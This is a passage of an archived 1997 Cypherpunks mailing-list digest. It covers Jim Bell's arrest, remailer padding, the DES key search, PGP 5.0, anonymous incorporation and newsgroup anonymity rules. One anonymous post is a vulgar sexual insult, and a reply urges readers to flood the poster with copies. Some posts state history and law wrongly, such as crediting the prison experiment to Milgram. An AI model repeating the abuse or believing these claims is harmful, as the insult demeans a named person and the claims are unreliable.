> 	ethics of hacking,
> 	psychlogy of hacking, 
> 	other abstracts. 
> 
> 	Some technical stuff, such as hacking tools and tactics, including
> 		IP spoofing,
> 		packet sniffing,
> 		cracker programs, 
> 		keyloggers, 
> 		progs like satan, etc.
> 
> 
> Can you suggest some additional stuff to be included, or if you have any
> resources (URLs, articles, progs, HOW-TOs, graphics, anything!), related
> to any of the above topics, technical or whatever, please please do send
> it over. 
> 
> Your suggestions will be a great help, as well as any info.
> 
> Thanks.
> 
> 
> 
> Wasim Q. Malik
> Network Security Expert
> SDNP Pakistan
> 

is this going to be in NYC?  Can I come and listen?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 20 May 1997 07:59:18 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <199705191512.IAA21302@netcom21.netcom.com>
Message-ID: <Pwoy7D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


mpd@netcom.com (Mike Duvos) writes:

> Lucky Green writes:
> 
> : Right. I read a book on that. I think it was called "The Millgram
> : Experiment". Normal people would administer (fake, but they didn't know
> : it) electroshocks to a subject even after the subject had stopped moving
> : and could have been assumed to be unconscious or even dead. An excellent
> : demonstration of the power of authority. And the gullibility of the
> : average person. 
> 
> Stanley Millgram did quite a few experiments along such lines.  His
> conclusion after persuading quite ordinary people to administer what
> seemed to be fatal electric shocks to a subject, pressured only by the
> orders of an authority figure saying "The experiment must continue"  and
> other such phrases, was that should the United States wish to set up a
> system of Nazi style death camps, personnel to staff them could be taken
> from the population of any average midwestern town. 
> 
> He also did another interesting experiment called "prisoners and guards"
> in which he selected people at random and dressed them up in the
> appropriate uniforms.  The guards happily abused the prisoners, falling
> into the appropriate roles almost automatically. 
> 
> Of course, such psychological experiments are banned today, because they
> don't make it through the ethics committees.  Nonetheless they demonstrate
> that there are few differences between "us" and "them," and that most
> ordinary people will rise to the occasion when given a new pair of
> jackboots. 


I recently came across a very similar incident on the Usenet newsgroup
alt.smokers.cigars.  (Disclaimer: I don't smoke, at least not cigars.)

In a nutshell, some business person came across this (pretty active)
newsgroup (he was not around when it was newgrouped and became pretty
active), declared it its property, and began to retromoderate it (i.e.
forge cancels for any traffic he didn't like).  He kept claiming that
he is some kind of "Usenet Administrator with Full Access". A couple
of searches in DejaNews will turn up plenty of amazing responses from
the regulars in the newsgroups bending over and baaing, "We're not
questioing Bob's authority as a Usenet Administrator, nor the way he
chooses to fuck us over..." Recommended reading.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Tue, 20 May 1997 02:14:35 +0800
To: cypherpunks@toad.com
Subject: Availability of Pini's CryptoCD
Message-ID: <199705191804.OAA17101@mercury.peganet.net>
MIME-Version: 1.0
Content-Type: text/plain


I've been trying to get a copy of the Crypto CD using the ISBN
number he used to have listed on his web page. However, every
bookstore I've checked with can find no reference to it. Has
anyone on the list gotten it via this method? I looked for
Pini's web page but it appears to be gone. Anyone know
about sources for the CD?

Thanks

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Tue, 20 May 1997 02:19:53 +0800
To: cypherpunks@toad.com
Subject: Availability of Pini's CryptoCD
Message-ID: <199705191805.OAA17152@mercury.peganet.net>
MIME-Version: 1.0
Content-Type: text/plain


I've been trying to get a copy of the Crypto CD using the ISBN
number he used to have listed on his web page. However, every
bookstore I've checked with can find no reference to it. Has
anyone on the list gotten it via this method? I looked for
Pini's web page but it appears to be gone. Anyone know
about sources for the CD?

Thanks

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Tue, 20 May 1997 03:41:24 +0800
To: cypherpunks <cypherpunks@algebra.com>
Subject: [PROJECT] Virtual c'punks forum
Message-ID: <97051919274736/0005514706DC3EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May recently made some comments that it might be a good idea to
avoid having any physical meetings of cypherpunks for the near future,
given the Jim Bell circumstance.  This ties in with a project that I
am currently undertaking, and I thought I would solicit assistance
from the cypherpunks at large.

Those of you familiar with the mechanisms of the net may be familiar
with the concept of MUSHes (a variant of the Multi User Domain or
MUD).  While email/lists are a wonderful asynchronous communication
tool, the value of an interactive medium which provides real-time
discussion is a piece of the overall communication spectrum that has
been overlooked (mostly).  New efforts to move audio or video are
interesting, but the net bandwidth needed is extreme at this stage,
and frankly 'a word is worth a thousand pictures.'

Myself and a friend would like to initiate a MUSH oriented around
creating a virtual meeting place for virtual organizations, such as
the cypherpunks.  Chat systems like IRC don't provide a context,
or some of the nifty features you can build into a MUSH.  We can
provide the coding muscle (although help is always welcome--MUSHcode
is a bastard variant similar to C or PASCAL, with some LISPy list
processing), but we need a host to provide us with a machine.  If
you might be interested, drop me a line, I can feed you the MUSH
requirements (light--~20M disk space, and light processing, since
you're just moving text).

A MUSH for a virtual organization will provide benefits:
-- an 'avatar' address in the net where people can leave you mail or
connect for an interactive discussion;
-- a virtual space, like an office, for people who want one;
-- meeting rooms, with logging available;
-- simulations;
-- briefings, so for instance, a newbie to cypherpunks could be told
the address and they could log in to receive a canned (but still more
interactive) discussion of cypherpunk issues and technology, as well
as the option to talk with other c'punks;
-- clients for MUSHes are freely available (including window and
shell variants), and we could also hack together a secure client;
this will also be a good time to work out 'anonymous telnet' systems
(MUSHes allow admin to see the host of origin, but not username).

We would like to begin this project inside the next few weeks, and
we could have something reasonably functional inside of a month after
that.  Incidentally, this is a project we've been working on for some
time, just that the need and utility have suddenly become timely.

Michael Wilson
5514706@mcimail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 20 May 1997 04:56:12 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Forgery detection
In-Reply-To: <199705191758.TAA01839@basement.replay.com>
Message-ID: <Pine.A41.3.95.970519143524.48768A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 19 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C. May is just another garden variety Intel pansy that has been misusing its 
> `manhole' so badly that the overstretched sphincter cannot hold back the shit that 
> all Intellers are full of and it spills out onto this mailing list.
> 
>             /\_/\
>            ( x x )
>        -oo0-(o o)-0oo- Tim C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 20 May 1997 06:44:36 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Incorporating in Nevada
In-Reply-To: <v03020903afa3b44feaa4@[139.167.130.248]>
Message-ID: <v03007801afa6834b9f41@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3954.1071713699.multipart/mixed"

--Boundary..3954.1071713699.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

While doing research for incorporation, I came across some interesting
information regarding how Nevada's laws are more corporate friendly (see
small attachment). Interestingly, one need not be a Nevada resident to
incorporate (there are a slew of Nevada companies waiting to create and
"publically" operate the corporation on your anonymous behalf).

Enjoy!

--Steve

Chapter_3.pdf


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!

--Boundary..3954.1071713699.multipart/mixed
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--Boundary..3954.1071713699.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 20 May 1997 04:08:04 +0800
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Sun to sell 3des from Russia
Message-ID: <199705191940.PAA00414@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


http://cnnfn.com/digitaljam/9705/19/sun/


 Sun will reportedly sell encryption software through a Russian firm
 May 19, 1997: 6:26 a.m. ET
                     NEW YORK (CNNfn) -- In an attempt to get
                     around U.S. regulations regarding the export
                     of encryption technology, Sun Microsystems
                     Inc. is reportedly planning to sell data
                     security software internationally through a
                     Russian supplier. 

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 20 May 1997 03:47:58 +0800
To: Tim May <cypherpunks@algebra.com
Subject: RE: Jim Bell goes to Jail--We should avoid raidable, physical meeting
In-Reply-To: <01BC643D.699ED1D0@marmoset.loc201.tandem.com>
Message-ID: <3.0.2.32.19970519154301.03891524@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:07 AM 5/19/97 -0800, Tim May wrote:

>Whether it stands up in court depends on the charges. As for you being
>willing to file a lawsuit that will make their heads spin, good for you.
>But to win a lawsuit, one has to have a case. And the laws are written
>broadly these days, and I doubt such a case would be won.

It might be hard to win lawsuits *against* the Feds although Steve Jackson 
Games did and other false arrest suits have succeeded.  The reverse of this
is 
that the Feds would have a very hard time winning a criminal case based on 
mass arrests at a Cypherpunks meeting.  They have lost loads of First 
Amendment busts over the years.  They have also lost the last few sedition 
cases they've brought even though the targets (white supremecists) were less 
popular than we would prove to be in court.  Many of us also have the 
intellectual and financial resources to mount an effective defense.  They 
would lose.

>(Did anything ever come of the police actions at the "2600" meetings in
>D.C. a few years back? I don't recall all of the details, but I gather the
>cops either moved in and made arrests, or maybe just watched and took down
>license plate numbers.)

Everything dismissed.  Just harrassment.  There were some actual arrests for 
tresspassing.  Cypherpunks meetings, however, are held with the permission of 
the building owners so such charges would fail in our case. 

I think the Feds case against JB is probably pretty weak.  Though we don't 
know the extent of his actions in the physical (as opposed to the spiritual) 
realm.  Arrests are frequently used to intimidate but dismissals or failure
to 
prosecute are very common in cases involving political dissent.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Tue, 20 May 1997 08:59:12 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
Message-ID: <v03010d00afa69bff8ac5@[17.219.102.72]>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
>
>Also, my tag line, "Death to tyrants!" is straight out of the Founders'
>mouths.
>
Umm, I may be mistaken, but I believe that "Sic Semper Tyrannis" translates as
"thus always to tyrants" and was spoken by John Wilkes Booth when he
assasinated
President Lincoln.

Pedantically yours,

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 21 May 1997 00:21:04 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970519010058.00685bdc@cnw.com>
Message-ID: <Pine.LNX.3.91.970519164935.2660B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> On the other hand, he obviously believes in the authority of the US
> government, as he has always supported it in arguments on the list,
> especially in counter arguments against TCM.
> 
> So, it appears that VZN is not *ready* to hold the government accountable,
> preferring not to protest when his own money is withheld for him, but
> hypocritically wondering when everyone will make this will happen.

I have (rarely) heard reasonable noises coming for VZN`s direction, so I 
read most of his posts, or at least allow them a cursory glace, however, 
it does not suprise me when he rants.

> However, he's correct:   similar to the argument I made about there being
> no difference between those who kill the good along with the bad & the ugly
> (that's from the title of a Clint Eastwood movie, for those who aren't
> familiar with that line),  all those who argue for morality and libertarian
> ideals, but still "give in" when it comes to tax time, are all losers. <g>    

I made a point a while ago on this list, which I felt strongly was 
correct at the time and I still feel as strongly now but this argument 
draws parallels which made me think again:

I stated that anyone who, in a situation of military conscription, fought 
for a country or a cause they did not believe in, simply to avoid 
punishment for refusal to fight, was a coward.

I still believe this, but really taxation is simply paying the government 
to be your hitman for you, your tax money pays the governments barbaric 
killing and warmongering, you cannot wash your hands of this simply by 
arguing that you did not choose for the money to pay for a war, you have 
to draw the conclusion that by funding the government and the state you 
fund killing and violence elsewhere in the world.

However, I can also draw your attention to a post a while ago which made 
an analogy with an armed robbery. If someone pokes a gun in your face in 
the street do you give him your money? - Assume there is no possibility 
of escape or fighting back, and you are unarmed. 
You either hand over the money or you die... If you take the logical 
course of action and give him your money, have you made a moral decision 
that his decision to rob you was right? Of course not, you have simply 
covered your own ass in a situation where you have no option.

It is a similar case with taxation, until enough people stop whinging and 
actually do something the state will tax as it sees fit, I`m not going to 
be the first to refuse payment on ethical grounds in peacetime, maybe I`m 
lacking in moral fibre, maybe I`m just a realist and think I can do more 
for the case of freedom outside of a 6'x9' cell.  

I certainly believe that I would refuse payment in wartime, not because I 
believe war is the only state activity I feel wrong funding, but because 
I would stand a better chance of getting away with not paying tax under 
these circumstances, and this would provide a good precedent for 
withholding tax payment after a war, by drawing parallels between war and 
other activities of the state.

I wish all luck to those who do refuse to pay tax on moral and ethical 
grounds, they certainly have my admiration and I grant that they are 
probably of stronger stuff than I.

> But this shameless capitulation is intellectualized away with the
> explanation that everyone is outnumbered by the men holding the legalized
> guns, who are in turn supported by all those true believers in The American
> Socialist Way of Life;  that way being: the reception of benefits without
> any need to be consciously aware of, to identify, their actual source or
> the actual method of their obtainment.

I bear no particular grudge against certain groups of welfare recipients, 
those who have worked all their lives and paid taxes under the assumption 
that if they were eligible for welfare they would get it have commited no 
real crime in my view, save from the fact that they claim from the 
collective funds of the nation. Certainly they would have been totally 
blameless if they had invested in private assurance and insurance schemes 
whilst under employment.

It is all very well complaining about the moral weaknesses of those who 
leech off of the stolen proceeds of state enforced taxation, but to 
really change anything the most effective route is to cut off welfare at 
source, that does not mean the state itself, that means you, the 
taxpayer. Of course most of the population are now brainwashed and do not 
see the evil perpetrated by a state that in some cases in the UK 
confiscates up to 60% of earnings at source.

As I said though, I admit my own moral weakness here and agree I am 
hypocritical to some extent, so all criticism to this effect can go to 
/dev/null.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 20 May 1997 08:56:40 +0800
To: Martin Minow <cypherpunks@cyberpass.net
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <v03007801afa63556053c@[207.167.93.63]>
Message-ID: <v03007804afa6a1afc32e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:10 PM -0700 5/19/97, Martin Minow wrote:
>Tim May wrote:
>>
>>Also, my tag line, "Death to tyrants!" is straight out of the Founders'
>>mouths.
>>
>Umm, I may be mistaken, but I believe that "Sic Semper Tyrannis" translates as
>"thus always to tyrants" and was spoken by John Wilkes Booth when he
>assasinated President Lincoln.

Close enough...

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wasim Q. Malik" <wmalik@sdnpk.undp.org>
Date: Mon, 19 May 1997 23:00:58 +0800
To: cypherpunks@toad.com
Subject: Need some info...
Message-ID: <Pine.LNX.3.95.970519175138.20129P-100000@sdnpk.undp.org>
MIME-Version: 1.0
Content-Type: text/plain


Hi.

I'm gonna give a talk on the subject of hacking/security soon. Need your
help with it.

Things that I'm gonna include are: 
	what is hacking, 
	ethics of hacking,
	psychlogy of hacking, 
	other abstracts. 

	Some technical stuff, such as hacking tools and tactics, including
		IP spoofing,
		packet sniffing,
		cracker programs, 
		keyloggers, 
		progs like satan, etc.


Can you suggest some additional stuff to be included, or if you have any
resources (URLs, articles, progs, HOW-TOs, graphics, anything!), related
to any of the above topics, technical or whatever, please please do send
it over. 

Your suggestions will be a great help, as well as any info.

Thanks.



Wasim Q. Malik
Network Security Expert
SDNP Pakistan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 20 May 1997 09:18:24 +0800
To: cypherpunks@algebra.com
Subject: DES search making serious progress
Message-ID: <Pine.3.89.9705191836.A27121-0100000@netcom21>
MIME-Version: 1.0
Content-Type: text/plain


Folks,

The DES key search is making serious progress. The leading contender 
seems to be DESCHALL http://www.frii.com/~rcv/deschall.htm

They are currently searching >3.5 billion keys per second. Estimated time 
to completion is 14 weeks.

It is no longer a question if the key will be found. We now need to make
sure that it is found as quickly as possible. 

Please download and run the software.

Thanks,
-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 20 May 1997 09:42:38 +0800
To: cypherpunks@algebra.com
Subject: More on the Jim Bell case
Message-ID: <3.0.2.32.19970519183115.00b84e30@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The local news just had a story on the Jim Bell case.

They are now claiming that the search warrent (how the news people got a copy 
is a big question) included Sarin nerve gas and Anthrax (not the band).

The news story was a pretty interesting hatchet job.  Included a number of 
horsemen and prominently mentioned encryption.  They claimed that the reason 
for the raid on East's home was because he sent Bell encrypted messages 
containing various evil and unauthorized thoughts.

Why am I not surprised...

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=w8P/
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Tue, 20 May 1997 07:35:45 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
Message-ID: <3.0.2.32.19970519192112.03804aa0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:39 AM 5/17/97 -0700, Alan Olsen wrote:

>The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its 
>guts out when run.  (At least on my machine.)
>
>It looks like they have hired a new graphics artist.  The splash page looks 
>interesting.  Nice if the rest would run...

It works fine on two of my (WIN95) machines (including one aging 486) that 
have pretty flaky general installations.  No problems.

It automatically signs if you want and is supposed to query keyservers 
automatically if you want but I haven't got that to work.  

Pretty display of the keys in your public file.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Tue, 20 May 1997 07:46:30 +0800
To: Alan Olsen <mpd@netcom.com (Mike Duvos)
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <199705190341.UAA17427@netcom18.netcom.com>
Message-ID: <3.0.2.32.19970519193338.0069ade0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:12 PM 5/18/97 -0700, Alan Olsen wrote:

>Some of his statements could have been taken as advocating the killing of 
>federal employees of various sorts.  The question is whether he actually
>tried 
>to arrange it in real life.  (Which I doubt.)

In the U.S., it is legal to advocate killing anyone except Clinton and his 
family and maybe the veep.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM4DjUYVO4r4sgSPhAQEQeQP+KoW+Dd8v2lCaI9HD0lWOaDy+q5IBBxYp
UTst/SqZrb2SgTToA812/Dt4hDfjIPU2YwBhbQ4oG8CHE48asPYjqgz/1VBxTRXb
UUBfObzBXPnT1elL2daGTeoCV+Yjxd/xCWVOF6wAy2fvsmm2Ougj6nAyWXoRKUMo
6iSTIbA4piM=
=n+ye
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 20 May 1997 02:12:34 +0800
To: cypherpunks@toad.com
Subject: Forgery detection
Message-ID: <199705191758.TAA01839@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. May is just another garden variety Intel pansy that has been misusing its 
`manhole' so badly that the overstretched sphincter cannot hold back the shit that 
all Intellers are full of and it spills out onto this mailing list.

            /\_/\
           ( x x )
       -oo0-(o o)-0oo- Tim C. May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Tue, 20 May 1997 11:21:57 +0800
To: cypherpunks@cyberpass.net
Subject: Remailer messages of variable length
Message-ID: <199705200305.UAA09291@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


To complicate traffic analysis Sender can add a padding to his message
before encrypting it for some remailer in chain. So that the
message is shortened after decryption and stripping of pseudo headers.
It can be done with a dummy header lines:

##
Padding: fjx6zRURnnK1DV4CdL7gbHpnUiV1KbbRf5HatXiaD+ZPtH0 ...

Also, for a length increment a remailer may understand commands like:

##
Pad-length: 1K
Pad-encrypt-for: remailer@replay.com

It will then add the 'Padding:' header and re-encrypt the message with
the appropriate remailer's public key. The next remailer in chain will see
the padding and will try do decrypt the message twice...

If stealth crypto is used, a random padding can be simply attached to the
end of the message.

Also, the remailer by itself can decide to increase a message length to
cover some rare big messages.

---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 20 May 1997 10:14:02 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Legality of Millgram-type psychological experiments
In-Reply-To: <v03007800afa631f038c4@[207.167.93.63]>
Message-ID: <199705200157.UAA05610@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> 
> At 7:12 AM -0800 5/19/97, Mike Duvos wrote:
> 
> >Of course, such psychological experiments are banned today, because they
>                                                ^^^^^^^^^^^^
> >don't make it through the ethics committees.  Nonetheless they demonstrate
> >that there are few differences between "us" and "them," and that most
> >ordinary people will rise to the occasion when given a new pair of
> >jackboots.
> 
> I'm curious about the "such psychological experiments are banned today"
> assertiokn.

These experiments were mostly done at Stanford.

After the unbelievable scandal with the jail experiment (which, to my
knowledge, involved physical injuries), Stanford Board forbade any
experiments done without the approval of a special ethics councel.

Many other universities followed.

(please correct me if i am mistaken)

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 20 May 1997 10:09:10 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: CFV: moderate sci.cryonics -- I vote NO
Message-ID: <199705200159.UAA05630@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Lewis McCarthy (lmccarth@cs.umass.edu) wrote in <3377FA31.167E@cs.umass.edu>:
* Charles Platt writes:
* > I feel it's unfortunate that the 
* > charter was worded to exclude anonymous postings, but clearly this 
* > news group does need to be moderated, and I believe that Keith will 
* > do so fairly and openly.
* 
* That's all well and good, but the CFV is a referendum (in part) on the 
* particular charter that appears in the CFV, not on an alternate policy
* that purportedly may be followed by the moderator. Unfairly applied

That is correct.

The promises by the proposed moderator are even more suspicious given
that:

	This future moderator PROMISES TO VIOLATE HIS OWN CHARTER.

The charter is absolutely clear in respect to what is not allowed:

Charter> Unacceptable messages include personal attacks, messages 
Charter> posted without a valid sender address, and any message not 
Charter> pertaining to the topics above.

(see 

http://xp5.dejanews.com/getdoc.xp?recnum=5944883&server=db97p2x&CONTEXT=864091788.16601&hitnum=11

for the charter and ballot)


* written rules have a real chance of being challenged, whereas with 
* unwritten rules there's much less hope of receiving fair treatment. 
* Overly broad restrictions, like the one in the CFV regarding messages 
* from unreplyable senders, are a boon for selective enforcement. 

I repeat again, in my opinion, there is no valid reason for any
moderated discussion newsgroup to ever forbid anonymous and pseudonymous
postings. Such restrictions destroy the value that usenet newsgroups
have.

Correspondently, I will strongly oppose any proposal that restricts
posters ability to post anonymously.

Presence of such provision in the charter is a strong indication
that the proponent is a control freak.

* It's been a couple of years since I voted on a newsgroup proposal, but
* I'll be voting NO on this sci.cryonics reorganization. Get back to me
* if the charter is reworded s.t. the moderator is directed to judge a
* message primarily based on its _content_  rather than its _sender_.

Could not agree more!

* CFV pointer: Message-ID <863077501.7020@isc.org>, posted to the usual
* places on May 8 by David Bostwick
* -- 
* Lewis    http://www.cs.umass.edu/~lmccarth/lmkey.asc   "And all the 
* science, I don't understand; it's just my job, eight days a week..."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 20 May 1997 10:18:15 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: CFV: moderate sci.cryonics -- CENSORING antispammers
Message-ID: <199705200204.VAA05717@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Jay Denebeim (denebeim@deepthot.cary.nc.us) wrote
* Igor Chudov @ home <ichudov@algebra.com> wrote:
* 
* > Charles, sci.cryonics may well be in need of moderation. The
* > proponent may also be a great person. I also have deep respect for
* > you personally.  But the provision in the charter that does not
* > allow postings without a replyable sender address is rather
* > unfortunate. I would certainly vote yes if that particular provision
* > was removed. Otherwise, I find it unacceptable for myself to vote
* > YES.
* 
* Why is that Igor?  There's been very little, if any, spam generated to
* rastb5m users, and that provision has been in place since before
* anti-spam forgeries were in vogue.  If spammers arn't mining a TV
* group, they certainly wouldn't be mining a sci group.

I see your point, Jay. What you are suggesting, probably not without
reason, is that the spam volume is not expected to be huge.

I may agree to that. The problem with this argument is that 

1) No matter how much spam they get, posters have a legitimate
reason to protect themselves

2) Typically, altering the reply address is done before 
the newsreader is even started, changing it for only one censorous
newsgroup is a royal pain in the back

3) People should have freedom to post anonymously, especially on
such sensitive topic as cryonics

4) Anonymity is NOT a threat to moderated newsgroups

Considering all that, I do not consider the proposed charter to be 
acceptable.


(see http://xp5.dejanews.com/getdoc.xp?recnum=5944883&server=db97p2x&CONTEXT=864091788.16601&hitnum=11





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 20 May 1997 10:24:47 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: CFV: moderate sci.cryonics -- CENSORING antispammers
Message-ID: <199705200217.VAA05908@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Joseph J. Strout (jstrout@ucsd.edu) wrote in 
* In article <Pine.SUN.3.91.970513130935.19729B-100000@panix.com>, Charles
* Platt <cp@panix.com> wrote:
* >> >Unacceptable messages include personal attacks, messages posted
* >> >without a valid sender address, and any message not pertaining to the
* >> >topics above.
* >
* >I would like to interpret "valid sender address" as meaning an address to 
* >which replies can be sent, without them bouncing. This would include 
* >anonymous remailers that allow an (anonymized) reply function. It would 
* >exclude anonymous remailers that don't allow such a function.
* >
* >Perhaps we could hear from the person who drafted the CFV to clarify this 
* >point. Or Keith Lynch could tell us whether he plans to use this 
* >interpretation.
* 
* Yes, I drafted the CFV, and this is exactly what I meant by "valid sender
* address".  This is clearly distinguishable from a fake address, which does
* not really exist and to which no email can be sent.  Requiring a valid
* return address applies a small amount of accountability to the poster. 
* This is the same criterion used, for example, when posting via DejaNews.

There is nothing good about this "accountability", and this is precisely
what I object to in the CFV.

There is no need for "accountability" in the moderated newsgroup.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 20 May 1997 12:38:10 +0800
To: cypherpunks@cyberpass.net
Subject: RSA v PGP lawsuit
Message-ID: <3.0.1.32.19970519212159.008e1740@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



I drove down to the courthouse in Redwood City today and took a look at the
court file for RSA v PGP. The complaint is already online at
<http://jya.com/rsavpgp.txt>; there are two exhibits which accompany the
complaint in the file, Exhibit A is a 30-page patent license agreement
